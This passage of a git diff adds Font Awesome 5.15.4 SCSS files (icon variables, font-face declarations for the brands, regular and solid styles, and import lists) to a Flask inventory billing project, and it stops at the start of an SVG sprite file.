+$fa-var-korvue: \f42f; +$fa-var-landmark: \f66f; +$fa-var-language: \f1ab; +$fa-var-laptop: \f109; +$fa-var-laptop-code: \f5fc; +$fa-var-laptop-house: \e066; +$fa-var-laptop-medical: \f812; +$fa-var-laravel: \f3bd; +$fa-var-lastfm: \f202; +$fa-var-lastfm-square: \f203; +$fa-var-laugh: \f599; +$fa-var-laugh-beam: \f59a; +$fa-var-laugh-squint: \f59b; +$fa-var-laugh-wink: \f59c; +$fa-var-layer-group: \f5fd; +$fa-var-leaf: \f06c; +$fa-var-leanpub: \f212; +$fa-var-lemon: \f094; +$fa-var-less: \f41d; +$fa-var-less-than: \f536; +$fa-var-less-than-equal: \f537; +$fa-var-level-down-alt: \f3be; +$fa-var-level-up-alt: \f3bf; +$fa-var-life-ring: \f1cd; +$fa-var-lightbulb: \f0eb; +$fa-var-line: \f3c0; +$fa-var-link: \f0c1; +$fa-var-linkedin: \f08c; +$fa-var-linkedin-in: \f0e1; +$fa-var-linode: \f2b8; +$fa-var-linux: \f17c; +$fa-var-lira-sign: \f195; +$fa-var-list: \f03a; +$fa-var-list-alt: \f022; +$fa-var-list-ol: \f0cb; +$fa-var-list-ul: \f0ca; +$fa-var-location-arrow: \f124; +$fa-var-lock: \f023; +$fa-var-lock-open: \f3c1; +$fa-var-long-arrow-alt-down: \f309; +$fa-var-long-arrow-alt-left: \f30a; +$fa-var-long-arrow-alt-right: \f30b; +$fa-var-long-arrow-alt-up: \f30c; +$fa-var-low-vision: \f2a8; +$fa-var-luggage-cart: \f59d; +$fa-var-lungs: \f604; +$fa-var-lungs-virus: \e067; +$fa-var-lyft: \f3c3; +$fa-var-magento: \f3c4; +$fa-var-magic: \f0d0; +$fa-var-magnet: \f076; +$fa-var-mail-bulk: \f674; +$fa-var-mailchimp: \f59e; +$fa-var-male: \f183; +$fa-var-mandalorian: \f50f; +$fa-var-map: \f279; +$fa-var-map-marked: \f59f; +$fa-var-map-marked-alt: \f5a0; +$fa-var-map-marker: \f041; +$fa-var-map-marker-alt: \f3c5; +$fa-var-map-pin: \f276; +$fa-var-map-signs: \f277; +$fa-var-markdown: \f60f; +$fa-var-marker: \f5a1; +$fa-var-mars: \f222; +$fa-var-mars-double: \f227; +$fa-var-mars-stroke: \f229; +$fa-var-mars-stroke-h: \f22b; +$fa-var-mars-stroke-v: \f22a; +$fa-var-mask: \f6fa; +$fa-var-mastodon: \f4f6; +$fa-var-maxcdn: \f136; +$fa-var-mdb: \f8ca; +$fa-var-medal: \f5a2; +$fa-var-medapps: \f3c6; +$fa-var-medium: \f23a; +$fa-var-medium-m: \f3c7; +$fa-var-medkit: \f0fa; +$fa-var-medrt: \f3c8; +$fa-var-meetup: \f2e0; +$fa-var-megaport: \f5a3; +$fa-var-meh: \f11a; +$fa-var-meh-blank: \f5a4; +$fa-var-meh-rolling-eyes: \f5a5; +$fa-var-memory: \f538; +$fa-var-mendeley: \f7b3; +$fa-var-menorah: \f676; +$fa-var-mercury: \f223; +$fa-var-meteor: \f753; +$fa-var-microblog: \e01a; +$fa-var-microchip: \f2db; +$fa-var-microphone: \f130; +$fa-var-microphone-alt: \f3c9; +$fa-var-microphone-alt-slash: \f539; +$fa-var-microphone-slash: \f131; +$fa-var-microscope: \f610; +$fa-var-microsoft: \f3ca; +$fa-var-minus: \f068; +$fa-var-minus-circle: \f056; +$fa-var-minus-square: \f146; +$fa-var-mitten: \f7b5; +$fa-var-mix: \f3cb; +$fa-var-mixcloud: \f289; +$fa-var-mixer: \e056; +$fa-var-mizuni: \f3cc; +$fa-var-mobile: \f10b; +$fa-var-mobile-alt: \f3cd; +$fa-var-modx: \f285; +$fa-var-monero: \f3d0; +$fa-var-money-bill: \f0d6; +$fa-var-money-bill-alt: \f3d1; +$fa-var-money-bill-wave: \f53a; +$fa-var-money-bill-wave-alt: \f53b; +$fa-var-money-check: \f53c; +$fa-var-money-check-alt: \f53d; +$fa-var-monument: \f5a6; +$fa-var-moon: \f186; +$fa-var-mortar-pestle: \f5a7; +$fa-var-mosque: \f678; +$fa-var-motorcycle: \f21c; +$fa-var-mountain: \f6fc; +$fa-var-mouse: \f8cc; +$fa-var-mouse-pointer: \f245; +$fa-var-mug-hot: \f7b6; +$fa-var-music: \f001; +$fa-var-napster: \f3d2; +$fa-var-neos: \f612; +$fa-var-network-wired: \f6ff; +$fa-var-neuter: \f22c; +$fa-var-newspaper: \f1ea; +$fa-var-nimblr: \f5a8; +$fa-var-node: \f419; +$fa-var-node-js: \f3d3; +$fa-var-not-equal: \f53e; +$fa-var-notes-medical: \f481; +$fa-var-npm: \f3d4; +$fa-var-ns8: \f3d5; +$fa-var-nutritionix: \f3d6; +$fa-var-object-group: \f247; +$fa-var-object-ungroup: \f248; +$fa-var-octopus-deploy: \e082; +$fa-var-odnoklassniki: \f263; +$fa-var-odnoklassniki-square: \f264; +$fa-var-oil-can: \f613; +$fa-var-old-republic: \f510; +$fa-var-om: \f679; +$fa-var-opencart: \f23d; +$fa-var-openid: \f19b; +$fa-var-opera: \f26a; +$fa-var-optin-monster: \f23c; +$fa-var-orcid: \f8d2; +$fa-var-osi: \f41a; +$fa-var-otter: \f700; +$fa-var-outdent: \f03b; +$fa-var-page4: \f3d7; +$fa-var-pagelines: \f18c; +$fa-var-pager: \f815; +$fa-var-paint-brush: \f1fc; +$fa-var-paint-roller: \f5aa; +$fa-var-palette: \f53f; +$fa-var-palfed: \f3d8; +$fa-var-pallet: \f482; +$fa-var-paper-plane: \f1d8; +$fa-var-paperclip: \f0c6; +$fa-var-parachute-box: \f4cd; +$fa-var-paragraph: \f1dd; +$fa-var-parking: \f540; +$fa-var-passport: \f5ab; +$fa-var-pastafarianism: \f67b; +$fa-var-paste: \f0ea; +$fa-var-patreon: \f3d9; +$fa-var-pause: \f04c; +$fa-var-pause-circle: \f28b; +$fa-var-paw: \f1b0; +$fa-var-paypal: \f1ed; +$fa-var-peace: \f67c; +$fa-var-pen: \f304; +$fa-var-pen-alt: \f305; +$fa-var-pen-fancy: \f5ac; +$fa-var-pen-nib: \f5ad; +$fa-var-pen-square: \f14b; +$fa-var-pencil-alt: \f303; +$fa-var-pencil-ruler: \f5ae; +$fa-var-penny-arcade: \f704; +$fa-var-people-arrows: \e068; +$fa-var-people-carry: \f4ce; +$fa-var-pepper-hot: \f816; +$fa-var-perbyte: \e083; +$fa-var-percent: \f295; +$fa-var-percentage: \f541; +$fa-var-periscope: \f3da; +$fa-var-person-booth: \f756; +$fa-var-phabricator: \f3db; +$fa-var-phoenix-framework: \f3dc; +$fa-var-phoenix-squadron: \f511; +$fa-var-phone: \f095; +$fa-var-phone-alt: \f879; +$fa-var-phone-slash: \f3dd; +$fa-var-phone-square: \f098; +$fa-var-phone-square-alt: \f87b; +$fa-var-phone-volume: \f2a0; +$fa-var-photo-video: \f87c; +$fa-var-php: \f457; +$fa-var-pied-piper: \f2ae; +$fa-var-pied-piper-alt: \f1a8; +$fa-var-pied-piper-hat: \f4e5; +$fa-var-pied-piper-pp: \f1a7; +$fa-var-pied-piper-square: \e01e; +$fa-var-piggy-bank: \f4d3; +$fa-var-pills: \f484; +$fa-var-pinterest: \f0d2; +$fa-var-pinterest-p: \f231; +$fa-var-pinterest-square: \f0d3; +$fa-var-pizza-slice: \f818; +$fa-var-place-of-worship: \f67f; +$fa-var-plane: \f072; +$fa-var-plane-arrival: \f5af; +$fa-var-plane-departure: \f5b0; +$fa-var-plane-slash: \e069; +$fa-var-play: \f04b; +$fa-var-play-circle: \f144; +$fa-var-playstation: \f3df; +$fa-var-plug: \f1e6; +$fa-var-plus: \f067; +$fa-var-plus-circle: \f055; +$fa-var-plus-square: \f0fe; +$fa-var-podcast: \f2ce; +$fa-var-poll: \f681; +$fa-var-poll-h: \f682; +$fa-var-poo: \f2fe; +$fa-var-poo-storm: \f75a; +$fa-var-poop: \f619; +$fa-var-portrait: \f3e0; +$fa-var-pound-sign: \f154; +$fa-var-power-off: \f011; +$fa-var-pray: \f683; +$fa-var-praying-hands: \f684; +$fa-var-prescription: \f5b1; +$fa-var-prescription-bottle: \f485; +$fa-var-prescription-bottle-alt: \f486; +$fa-var-print: \f02f; +$fa-var-procedures: \f487; +$fa-var-product-hunt: \f288; +$fa-var-project-diagram: \f542; +$fa-var-pump-medical: \e06a; +$fa-var-pump-soap: \e06b; +$fa-var-pushed: \f3e1; +$fa-var-puzzle-piece: \f12e; +$fa-var-python: \f3e2; +$fa-var-qq: \f1d6; +$fa-var-qrcode: \f029; +$fa-var-question: \f128; +$fa-var-question-circle: \f059; +$fa-var-quidditch: \f458; +$fa-var-quinscape: \f459; +$fa-var-quora: \f2c4; +$fa-var-quote-left: \f10d; +$fa-var-quote-right: \f10e; +$fa-var-quran: \f687; +$fa-var-r-project: \f4f7; +$fa-var-radiation: \f7b9; +$fa-var-radiation-alt: \f7ba; +$fa-var-rainbow: \f75b; +$fa-var-random: \f074; +$fa-var-raspberry-pi: \f7bb; +$fa-var-ravelry: \f2d9; +$fa-var-react: \f41b; +$fa-var-reacteurope: \f75d; +$fa-var-readme: \f4d5; +$fa-var-rebel: \f1d0; +$fa-var-receipt: \f543; +$fa-var-record-vinyl: \f8d9; +$fa-var-recycle: \f1b8; +$fa-var-red-river: \f3e3; +$fa-var-reddit: \f1a1; +$fa-var-reddit-alien: \f281; +$fa-var-reddit-square: \f1a2; +$fa-var-redhat: \f7bc; +$fa-var-redo: \f01e; +$fa-var-redo-alt: \f2f9; +$fa-var-registered: \f25d; +$fa-var-remove-format: \f87d; +$fa-var-renren: \f18b; +$fa-var-reply: \f3e5; +$fa-var-reply-all: \f122; +$fa-var-replyd: \f3e6; +$fa-var-republican: \f75e; +$fa-var-researchgate: \f4f8; +$fa-var-resolving: \f3e7; +$fa-var-restroom: \f7bd; +$fa-var-retweet: \f079; +$fa-var-rev: \f5b2; +$fa-var-ribbon: \f4d6; +$fa-var-ring: \f70b; +$fa-var-road: \f018; +$fa-var-robot: \f544; +$fa-var-rocket: \f135; +$fa-var-rocketchat: \f3e8; +$fa-var-rockrms: \f3e9; +$fa-var-route: \f4d7; +$fa-var-rss: \f09e; +$fa-var-rss-square: \f143; +$fa-var-ruble-sign: \f158; +$fa-var-ruler: \f545; +$fa-var-ruler-combined: \f546; +$fa-var-ruler-horizontal: \f547; +$fa-var-ruler-vertical: \f548; +$fa-var-running: \f70c; +$fa-var-rupee-sign: \f156; +$fa-var-rust: \e07a; +$fa-var-sad-cry: \f5b3; +$fa-var-sad-tear: \f5b4; +$fa-var-safari: \f267; +$fa-var-salesforce: \f83b; +$fa-var-sass: \f41e; +$fa-var-satellite: \f7bf; +$fa-var-satellite-dish: \f7c0; +$fa-var-save: \f0c7; +$fa-var-schlix: \f3ea; +$fa-var-school: \f549; +$fa-var-screwdriver: \f54a; +$fa-var-scribd: \f28a; +$fa-var-scroll: \f70e; +$fa-var-sd-card: \f7c2; +$fa-var-search: \f002; +$fa-var-search-dollar: \f688; +$fa-var-search-location: \f689; +$fa-var-search-minus: \f010; +$fa-var-search-plus: \f00e; +$fa-var-searchengin: \f3eb; +$fa-var-seedling: \f4d8; +$fa-var-sellcast: \f2da; +$fa-var-sellsy: \f213; +$fa-var-server: \f233; +$fa-var-servicestack: \f3ec; +$fa-var-shapes: \f61f; +$fa-var-share: \f064; +$fa-var-share-alt: \f1e0; +$fa-var-share-alt-square: \f1e1; +$fa-var-share-square: \f14d; +$fa-var-shekel-sign: \f20b; +$fa-var-shield-alt: \f3ed; +$fa-var-shield-virus: \e06c; +$fa-var-ship: \f21a; +$fa-var-shipping-fast: \f48b; +$fa-var-shirtsinbulk: \f214; +$fa-var-shoe-prints: \f54b; +$fa-var-shopify: \e057; +$fa-var-shopping-bag: \f290; +$fa-var-shopping-basket: \f291; +$fa-var-shopping-cart: \f07a; +$fa-var-shopware: \f5b5; +$fa-var-shower: \f2cc; +$fa-var-shuttle-van: \f5b6; +$fa-var-sign: \f4d9; +$fa-var-sign-in-alt: \f2f6; +$fa-var-sign-language: \f2a7; +$fa-var-sign-out-alt: \f2f5; +$fa-var-signal: \f012; +$fa-var-signature: \f5b7; +$fa-var-sim-card: \f7c4; +$fa-var-simplybuilt: \f215; +$fa-var-sink: \e06d; +$fa-var-sistrix: \f3ee; +$fa-var-sitemap: \f0e8; +$fa-var-sith: \f512; +$fa-var-skating: \f7c5; +$fa-var-sketch: \f7c6; +$fa-var-skiing: \f7c9; +$fa-var-skiing-nordic: \f7ca; +$fa-var-skull: \f54c; +$fa-var-skull-crossbones: \f714; +$fa-var-skyatlas: \f216; +$fa-var-skype: \f17e; +$fa-var-slack: \f198; +$fa-var-slack-hash: \f3ef; +$fa-var-slash: \f715; +$fa-var-sleigh: \f7cc; +$fa-var-sliders-h: \f1de; +$fa-var-slideshare: \f1e7; +$fa-var-smile: \f118; +$fa-var-smile-beam: \f5b8; +$fa-var-smile-wink: \f4da; +$fa-var-smog: \f75f; +$fa-var-smoking: \f48d; +$fa-var-smoking-ban: \f54d; +$fa-var-sms: \f7cd; +$fa-var-snapchat: \f2ab; +$fa-var-snapchat-ghost: \f2ac; +$fa-var-snapchat-square: \f2ad; +$fa-var-snowboarding: \f7ce; +$fa-var-snowflake: \f2dc; +$fa-var-snowman: \f7d0; +$fa-var-snowplow: \f7d2; +$fa-var-soap: \e06e; +$fa-var-socks: \f696; +$fa-var-solar-panel: \f5ba; +$fa-var-sort: \f0dc; +$fa-var-sort-alpha-down: \f15d; +$fa-var-sort-alpha-down-alt: \f881; +$fa-var-sort-alpha-up: \f15e; +$fa-var-sort-alpha-up-alt: \f882; +$fa-var-sort-amount-down: \f160; +$fa-var-sort-amount-down-alt: \f884; +$fa-var-sort-amount-up: \f161; +$fa-var-sort-amount-up-alt: \f885; +$fa-var-sort-down: \f0dd; +$fa-var-sort-numeric-down: \f162; +$fa-var-sort-numeric-down-alt: \f886; +$fa-var-sort-numeric-up: \f163; +$fa-var-sort-numeric-up-alt: \f887; +$fa-var-sort-up: \f0de; +$fa-var-soundcloud: \f1be; +$fa-var-sourcetree: \f7d3; +$fa-var-spa: \f5bb; +$fa-var-space-shuttle: \f197; +$fa-var-speakap: \f3f3; +$fa-var-speaker-deck: \f83c; +$fa-var-spell-check: \f891; +$fa-var-spider: \f717; +$fa-var-spinner: \f110; +$fa-var-splotch: \f5bc; +$fa-var-spotify: \f1bc; +$fa-var-spray-can: \f5bd; +$fa-var-square: \f0c8; +$fa-var-square-full: \f45c; +$fa-var-square-root-alt: \f698; +$fa-var-squarespace: \f5be; +$fa-var-stack-exchange: \f18d; +$fa-var-stack-overflow: \f16c; +$fa-var-stackpath: \f842; +$fa-var-stamp: \f5bf; +$fa-var-star: \f005; +$fa-var-star-and-crescent: \f699; +$fa-var-star-half: \f089; +$fa-var-star-half-alt: \f5c0; +$fa-var-star-of-david: \f69a; +$fa-var-star-of-life: \f621; +$fa-var-staylinked: \f3f5; +$fa-var-steam: \f1b6; +$fa-var-steam-square: \f1b7; +$fa-var-steam-symbol: \f3f6; +$fa-var-step-backward: \f048; +$fa-var-step-forward: \f051; +$fa-var-stethoscope: \f0f1; +$fa-var-sticker-mule: \f3f7; +$fa-var-sticky-note: \f249; +$fa-var-stop: \f04d; +$fa-var-stop-circle: \f28d; +$fa-var-stopwatch: \f2f2; +$fa-var-stopwatch-20: \e06f; +$fa-var-store: \f54e; +$fa-var-store-alt: \f54f; +$fa-var-store-alt-slash: \e070; +$fa-var-store-slash: \e071; +$fa-var-strava: \f428; +$fa-var-stream: \f550; +$fa-var-street-view: \f21d; +$fa-var-strikethrough: \f0cc; +$fa-var-stripe: \f429; +$fa-var-stripe-s: \f42a; +$fa-var-stroopwafel: \f551; +$fa-var-studiovinari: \f3f8; +$fa-var-stumbleupon: \f1a4; +$fa-var-stumbleupon-circle: \f1a3; +$fa-var-subscript: \f12c; +$fa-var-subway: \f239; +$fa-var-suitcase: \f0f2; +$fa-var-suitcase-rolling: \f5c1; +$fa-var-sun: \f185; +$fa-var-superpowers: \f2dd; +$fa-var-superscript: \f12b; +$fa-var-supple: \f3f9; +$fa-var-surprise: \f5c2; +$fa-var-suse: \f7d6; +$fa-var-swatchbook: \f5c3; +$fa-var-swift: \f8e1; +$fa-var-swimmer: \f5c4; +$fa-var-swimming-pool: \f5c5; +$fa-var-symfony: \f83d; +$fa-var-synagogue: \f69b; +$fa-var-sync: \f021; +$fa-var-sync-alt: \f2f1; +$fa-var-syringe: \f48e; +$fa-var-table: \f0ce; +$fa-var-table-tennis: \f45d; +$fa-var-tablet: \f10a; +$fa-var-tablet-alt: \f3fa; +$fa-var-tablets: \f490; +$fa-var-tachometer-alt: \f3fd; +$fa-var-tag: \f02b; +$fa-var-tags: \f02c; +$fa-var-tape: \f4db; +$fa-var-tasks: \f0ae; +$fa-var-taxi: \f1ba; +$fa-var-teamspeak: \f4f9; +$fa-var-teeth: \f62e; +$fa-var-teeth-open: \f62f; +$fa-var-telegram: \f2c6; +$fa-var-telegram-plane: \f3fe; +$fa-var-temperature-high: \f769; +$fa-var-temperature-low: \f76b; +$fa-var-tencent-weibo: \f1d5; +$fa-var-tenge: \f7d7; +$fa-var-terminal: \f120; +$fa-var-text-height: \f034; +$fa-var-text-width: \f035; +$fa-var-th: \f00a; +$fa-var-th-large: \f009; +$fa-var-th-list: \f00b; +$fa-var-the-red-yeti: \f69d; +$fa-var-theater-masks: \f630; +$fa-var-themeco: \f5c6; +$fa-var-themeisle: \f2b2; +$fa-var-thermometer: \f491; +$fa-var-thermometer-empty: \f2cb; +$fa-var-thermometer-full: \f2c7; +$fa-var-thermometer-half: \f2c9; +$fa-var-thermometer-quarter: \f2ca; +$fa-var-thermometer-three-quarters: \f2c8; +$fa-var-think-peaks: \f731; +$fa-var-thumbs-down: \f165; +$fa-var-thumbs-up: \f164; +$fa-var-thumbtack: \f08d; +$fa-var-ticket-alt: \f3ff; +$fa-var-tiktok: \e07b; +$fa-var-times: \f00d; +$fa-var-times-circle: \f057; +$fa-var-tint: \f043; +$fa-var-tint-slash: \f5c7; +$fa-var-tired: \f5c8; +$fa-var-toggle-off: \f204; +$fa-var-toggle-on: \f205; +$fa-var-toilet: \f7d8; +$fa-var-toilet-paper: \f71e; +$fa-var-toilet-paper-slash: \e072; +$fa-var-toolbox: \f552; +$fa-var-tools: \f7d9; +$fa-var-tooth: \f5c9; +$fa-var-torah: \f6a0; +$fa-var-torii-gate: \f6a1; +$fa-var-tractor: \f722; +$fa-var-trade-federation: \f513; +$fa-var-trademark: \f25c; +$fa-var-traffic-light: \f637; +$fa-var-trailer: \e041; +$fa-var-train: \f238; +$fa-var-tram: \f7da; +$fa-var-transgender: \f224; +$fa-var-transgender-alt: \f225; +$fa-var-trash: \f1f8; +$fa-var-trash-alt: \f2ed; +$fa-var-trash-restore: \f829; +$fa-var-trash-restore-alt: \f82a; +$fa-var-tree: \f1bb; +$fa-var-trello: \f181; +$fa-var-trophy: \f091; +$fa-var-truck: \f0d1; +$fa-var-truck-loading: \f4de; +$fa-var-truck-monster: \f63b; +$fa-var-truck-moving: \f4df; +$fa-var-truck-pickup: \f63c; +$fa-var-tshirt: \f553; +$fa-var-tty: \f1e4; +$fa-var-tumblr: \f173; +$fa-var-tumblr-square: \f174; +$fa-var-tv: \f26c; +$fa-var-twitch: \f1e8; +$fa-var-twitter: \f099; +$fa-var-twitter-square: \f081; +$fa-var-typo3: \f42b; +$fa-var-uber: \f402; +$fa-var-ubuntu: \f7df; +$fa-var-uikit: \f403; +$fa-var-umbraco: \f8e8; +$fa-var-umbrella: \f0e9; +$fa-var-umbrella-beach: \f5ca; +$fa-var-uncharted: \e084; +$fa-var-underline: \f0cd; +$fa-var-undo: \f0e2; +$fa-var-undo-alt: \f2ea; +$fa-var-uniregistry: \f404; +$fa-var-unity: \e049; +$fa-var-universal-access: \f29a; +$fa-var-university: \f19c; +$fa-var-unlink: \f127; +$fa-var-unlock: \f09c; +$fa-var-unlock-alt: \f13e; +$fa-var-unsplash: \e07c; +$fa-var-untappd: \f405; +$fa-var-upload: \f093; +$fa-var-ups: \f7e0; +$fa-var-usb: \f287; +$fa-var-user: \f007; +$fa-var-user-alt: \f406; +$fa-var-user-alt-slash: \f4fa; +$fa-var-user-astronaut: \f4fb; +$fa-var-user-check: \f4fc; +$fa-var-user-circle: \f2bd; +$fa-var-user-clock: \f4fd; +$fa-var-user-cog: \f4fe; +$fa-var-user-edit: \f4ff; +$fa-var-user-friends: \f500; +$fa-var-user-graduate: \f501; +$fa-var-user-injured: \f728; +$fa-var-user-lock: \f502; +$fa-var-user-md: \f0f0; +$fa-var-user-minus: \f503; +$fa-var-user-ninja: \f504; +$fa-var-user-nurse: \f82f; +$fa-var-user-plus: \f234; +$fa-var-user-secret: \f21b; +$fa-var-user-shield: \f505; +$fa-var-user-slash: \f506; +$fa-var-user-tag: \f507; +$fa-var-user-tie: \f508; +$fa-var-user-times: \f235; +$fa-var-users: \f0c0; +$fa-var-users-cog: \f509; +$fa-var-users-slash: \e073; +$fa-var-usps: \f7e1; +$fa-var-ussunnah: \f407; +$fa-var-utensil-spoon: \f2e5; +$fa-var-utensils: \f2e7; +$fa-var-vaadin: \f408; +$fa-var-vector-square: \f5cb; +$fa-var-venus: \f221; +$fa-var-venus-double: \f226; +$fa-var-venus-mars: \f228; +$fa-var-vest: \e085; +$fa-var-vest-patches: \e086; +$fa-var-viacoin: \f237; +$fa-var-viadeo: \f2a9; +$fa-var-viadeo-square: \f2aa; +$fa-var-vial: \f492; +$fa-var-vials: \f493; +$fa-var-viber: \f409; +$fa-var-video: \f03d; +$fa-var-video-slash: \f4e2; +$fa-var-vihara: \f6a7; +$fa-var-vimeo: \f40a; +$fa-var-vimeo-square: \f194; +$fa-var-vimeo-v: \f27d; +$fa-var-vine: \f1ca; +$fa-var-virus: \e074; +$fa-var-virus-slash: \e075; +$fa-var-viruses: \e076; +$fa-var-vk: \f189; +$fa-var-vnv: \f40b; +$fa-var-voicemail: \f897; +$fa-var-volleyball-ball: \f45f; +$fa-var-volume-down: \f027; +$fa-var-volume-mute: \f6a9; +$fa-var-volume-off: \f026; +$fa-var-volume-up: \f028; +$fa-var-vote-yea: \f772; +$fa-var-vr-cardboard: \f729; +$fa-var-vuejs: \f41f; +$fa-var-walking: \f554; +$fa-var-wallet: \f555; +$fa-var-warehouse: \f494; +$fa-var-watchman-monitoring: \e087; +$fa-var-water: \f773; +$fa-var-wave-square: \f83e; +$fa-var-waze: \f83f; +$fa-var-weebly: \f5cc; +$fa-var-weibo: \f18a; +$fa-var-weight: \f496; +$fa-var-weight-hanging: \f5cd; +$fa-var-weixin: \f1d7; +$fa-var-whatsapp: \f232; +$fa-var-whatsapp-square: \f40c; +$fa-var-wheelchair: \f193; +$fa-var-whmcs: \f40d; +$fa-var-wifi: \f1eb; +$fa-var-wikipedia-w: \f266; +$fa-var-wind: \f72e; +$fa-var-window-close: \f410; +$fa-var-window-maximize: \f2d0; +$fa-var-window-minimize: \f2d1; +$fa-var-window-restore: \f2d2; +$fa-var-windows: \f17a; +$fa-var-wine-bottle: \f72f; +$fa-var-wine-glass: \f4e3; +$fa-var-wine-glass-alt: \f5ce; +$fa-var-wix: \f5cf; +$fa-var-wizards-of-the-coast: \f730; +$fa-var-wodu: \e088; +$fa-var-wolf-pack-battalion: \f514; +$fa-var-won-sign: \f159; +$fa-var-wordpress: \f19a; +$fa-var-wordpress-simple: \f411; +$fa-var-wpbeginner: \f297; +$fa-var-wpexplorer: \f2de; +$fa-var-wpforms: \f298; +$fa-var-wpressr: \f3e4; +$fa-var-wrench: \f0ad; +$fa-var-x-ray: \f497; +$fa-var-xbox: \f412; +$fa-var-xing: \f168; +$fa-var-xing-square: \f169; +$fa-var-y-combinator: \f23b; +$fa-var-yahoo: \f19e; +$fa-var-yammer: \f840; +$fa-var-yandex: \f413; +$fa-var-yandex-international: \f414; +$fa-var-yarn: \f7e3; +$fa-var-yelp: \f1e9; +$fa-var-yen-sign: \f157; +$fa-var-yin-yang: \f6ad; +$fa-var-yoast: \f2b1; +$fa-var-youtube: \f167; +$fa-var-youtube-square: \f431; +$fa-var-zhihu: \f63f; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/brands.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/brands.scss new file mode 100644 index 00000000..16af9964 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/brands.scss @@ -0,0 +1,23 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import 'variables'; + +@font-face { + font-family: 'Font Awesome 5 Brands'; + font-style: normal; + font-weight: 400; + font-display: $fa-font-display; + src: url('#{$fa-font-path}/fa-brands-400.eot'); + src: url('#{$fa-font-path}/fa-brands-400.eot?#iefix') format('embedded-opentype'), + url('#{$fa-font-path}/fa-brands-400.woff2') format('woff2'), + url('#{$fa-font-path}/fa-brands-400.woff') format('woff'), + url('#{$fa-font-path}/fa-brands-400.ttf') format('truetype'), + url('#{$fa-font-path}/fa-brands-400.svg#fontawesome') format('svg'); +} + +.fab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/fontawesome.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/fontawesome.scss new file mode 100644 index 00000000..466d26c6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/fontawesome.scss @@ -0,0 +1,16 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import 'variables'; +@import 'mixins'; +@import 'core'; +@import 'larger'; +@import 'fixed-width'; +@import 'list'; +@import 'bordered-pulled'; +@import 'animated'; +@import 'rotated-flipped'; +@import 'stacked'; +@import 'icons'; +@import 'screen-reader'; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/regular.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/regular.scss new file mode 100644 index 00000000..14b6cb3d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/regular.scss @@ -0,0 +1,23 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import 'variables'; + +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 400; + font-display: $fa-font-display; + src: url('#{$fa-font-path}/fa-regular-400.eot'); + src: url('#{$fa-font-path}/fa-regular-400.eot?#iefix') format('embedded-opentype'), + url('#{$fa-font-path}/fa-regular-400.woff2') format('woff2'), + url('#{$fa-font-path}/fa-regular-400.woff') format('woff'), + url('#{$fa-font-path}/fa-regular-400.ttf') format('truetype'), + url('#{$fa-font-path}/fa-regular-400.svg#fontawesome') format('svg'); +} + +.far { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/solid.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/solid.scss new file mode 100644 index 00000000..56f1ead9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/solid.scss @@ -0,0 +1,24 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import 'variables'; + +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 900; + font-display: $fa-font-display; + src: url('#{$fa-font-path}/fa-solid-900.eot'); + src: url('#{$fa-font-path}/fa-solid-900.eot?#iefix') format('embedded-opentype'), + url('#{$fa-font-path}/fa-solid-900.woff2') format('woff2'), + url('#{$fa-font-path}/fa-solid-900.woff') format('woff'), + url('#{$fa-font-path}/fa-solid-900.ttf') format('truetype'), + url('#{$fa-font-path}/fa-solid-900.svg#fontawesome') format('svg'); +} + +.fa, +.fas { + font-family: 'Font Awesome 5 Free'; + font-weight: 900; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/v4-shims.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/v4-shims.scss new file mode 100644 index 00000000..20d627a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/v4-shims.scss @@ -0,0 +1,6 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import 'variables'; +@import 'shims'; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/brands.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/brands.svg new file mode 100644 index 00000000..a32e9716 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/brands.svg @@ -0,0 +1,1378 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- +Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com +License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) +--> +<svg 